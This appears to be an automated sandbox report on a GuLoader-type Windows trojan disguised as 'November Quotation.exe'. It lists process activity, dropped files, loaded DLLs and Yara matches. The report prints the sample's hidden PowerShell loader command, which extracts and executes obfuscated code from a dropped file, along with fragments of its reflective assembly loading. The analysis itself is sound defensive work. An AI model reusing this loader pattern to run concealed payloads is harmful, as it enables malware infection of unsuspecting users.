Windows Analysis Report
November Quotation.exe

Source: C:\Users\user\Desktop\November Quotation.exe	Code function: 0_2_00406547	0_2_00406547
Source: C:\Users\user\Desktop\November Quotation.exe	Code function: 0_2_00406D1E	0_2_00406D1E
Source: C:\Users\user\Desktop\November Quotation.exe	Code function: 0_2_004049C7	0_2_004049C7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029F4328	5_2_029F4328
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029F2DD1	5_2_029F2DD1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029FEC70	5_2_029FEC70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029FEC60	5_2_029FEC60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029F8DA0	5_2_029F8DA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029F5968	5_2_029F5968
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029F5F90	5_2_029F5F90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_26E63348	5_2_26E63348
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_26E644C8	5_2_26E644C8

Source: November Quotation.exe

Static PE information: invalid certificate

Source: November Quotation.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/15@6/5

Source: C:\Users\user\Desktop\November Quotation.exe

Code function: 0_2_00404481 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404481

Source: C:\Users\user\Desktop\November Quotation.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\November Quotation.exe

File created: C:\Users\user\AppData\Local\sognenes

Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7872:120:WilError_03

Source: C:\Users\user\Desktop\November Quotation.exe

File created: C:\Users\user\AppData\Local\Temp\nsc467C.tmp

Source: November Quotation.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\November Quotation.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\November Quotation.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: November Quotation.exe

ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\November Quotation.exe

File read: C:\Users\user\Desktop\November Quotation.exe

Source: unknown	Process created: C:\Users\user\Desktop\November Quotation.exe "C:\Users\user\Desktop\November Quotation.exe"
Source: C:\Users\user\Desktop\November Quotation.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Mendicity=Get-Content -raw 'C:\Users\user\AppData\Local\sognenes\iconograph\Saddelknapperne.Srv';$Umiskendelighed=$Mendicity.SubString(5275,3);.$Umiskendelighed($Mendicity) "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\November Quotation.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Mendicity=Get-Content -raw 'C:\Users\user\AppData\Local\sognenes\iconograph\Saddelknapperne.Srv';$Umiskendelighed=$Mendicity.SubString(5275,3);.$Umiskendelighed($Mendicity) "	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\November Quotation.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\November Quotation.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source:

Binary string: tem.Core.pdbD source: powershell.exe, 00000002.00000002.1862036159.000000000734E000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000005.00000002.2561413904.0000000005439000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1865707382.000000000A569000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Calcites $Kastepilesedvende $Fldningstiders), (Bragless @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Continually = [AppDomain]::CurrentDomain.GetAssembl
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Spunsjernene)), $Haemningsloese).DefineDynamicModule($Ubetnksomt, $false).DefineType($Aquicolous, $Osmoregulatory, [System.MulticastDe

Suspicious powershell command line found

Source: C:\Users\user\Desktop\November Quotation.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Mendicity=Get-Content -raw 'C:\Users\user\AppData\Local\sognenes\iconograph\Saddelknapperne.Srv';$Umiskendelighed=$Mendicity.SubString(5275,3);.$Umiskendelighed($Mendicity) "
Source: C:\Users\user\Desktop\November Quotation.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Mendicity=Get-Content -raw 'C:\Users\user\AppData\Local\sognenes\iconograph\Saddelknapperne.Srv';$Umiskendelighed=$Mendicity.SubString(5275,3);.$Umiskendelighed($Mendicity) "			Jump to behavior

Source: C:\Users\user\Desktop\November Quotation.exe

Code function: 0_2_0040610B GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_0040610B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_076B8459 push esp; retf	2_2_076B8460
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_076B8609 push ebp; retf	2_2_076B8610
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_076BD8FA push ds; ret	2_2_076BD8FB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_076BF6AD push ds; retf	2_2_076BF6B3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08FC5E2A push ebx; retf	2_2_08FC5DFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08FC3E13 push edx; ret	2_2_08FC3E1A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08FCB3F5 push ebx; ret	2_2_08FCB400
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08FC3FD8 push es; iretd	2_2_08FC3FEC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08FC5DB6 push ebx; retf	2_2_08FC5DFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08FC0197 push ebp; iretd	2_2_08FC019D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08FCD762 push 00000000h; retf	2_2_08FCD765
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029FE78A push esp; iretd	5_2_029FE791
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029FE828 pushfd ; iretd	5_2_029FE829
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029F7BF7 pushfd ; iretd	5_2_029F7BF8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029F78E6 pushad ; iretd	5_2_029F78E7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_029F7DA7 push esp; iretd	5_2_029F7DA8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_03E9B3F5 push ebx; ret	5_2_03E9B400
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_03E90197 push ebp; iretd	5_2_03E9019D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_03E9D762 push 00000000h; retf	5_2_03E9D765
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_03E93FD8 push es; iretd	5_2_03E93FEC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_03E95E2A push ebx; retf	5_2_03E95DFA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_03E93E13 push edx; ret	5_2_03E93E1A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_03E95DB6 push ebx; retf	5_2_03E95DFA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_26E64172 push esp; ret	5_2_26E64175

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\sognenes\iconograph\Folkways\November Quotation.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\November Quotation.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
